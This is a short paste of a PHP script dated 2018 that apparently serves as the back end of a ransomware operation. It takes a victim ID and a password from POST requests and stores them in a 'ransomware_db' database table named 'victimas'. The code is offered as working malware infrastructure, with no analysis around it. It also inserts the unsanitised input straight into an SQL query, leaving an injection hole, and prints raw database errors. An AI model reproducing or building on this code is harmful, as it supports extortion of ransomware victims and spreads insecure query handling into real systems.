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Oct 30th, 2018
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  1. <?php
  2. $server = "localhost";
  3. $username = "root";
  4. $password = "";
  5. $dbname = "ransomware_db";
  6. $pass = (string)$_POST['pass'];
  7. $id = (string)$_POST['id'];
  8.  
  9. $conn = new mysqli($server, $username, $password, $dbname);
  10.  
  11. if ($conn->connect_error) {
  12. die("Connection failed: " . $conn->connect_error);
  13. }
  14. $sql = "INSERT INTO victimas (IDD, PASS) VALUES ('$id', '$pass');";
  15. if ($conn->query($sql) === TRUE) {
  16. echo "Ok.";
  17. } else {
  18. echo "Error: " . $sql . "<br>" . $conn->error;
  19. }
  20. $conn->close();
  21. ?>
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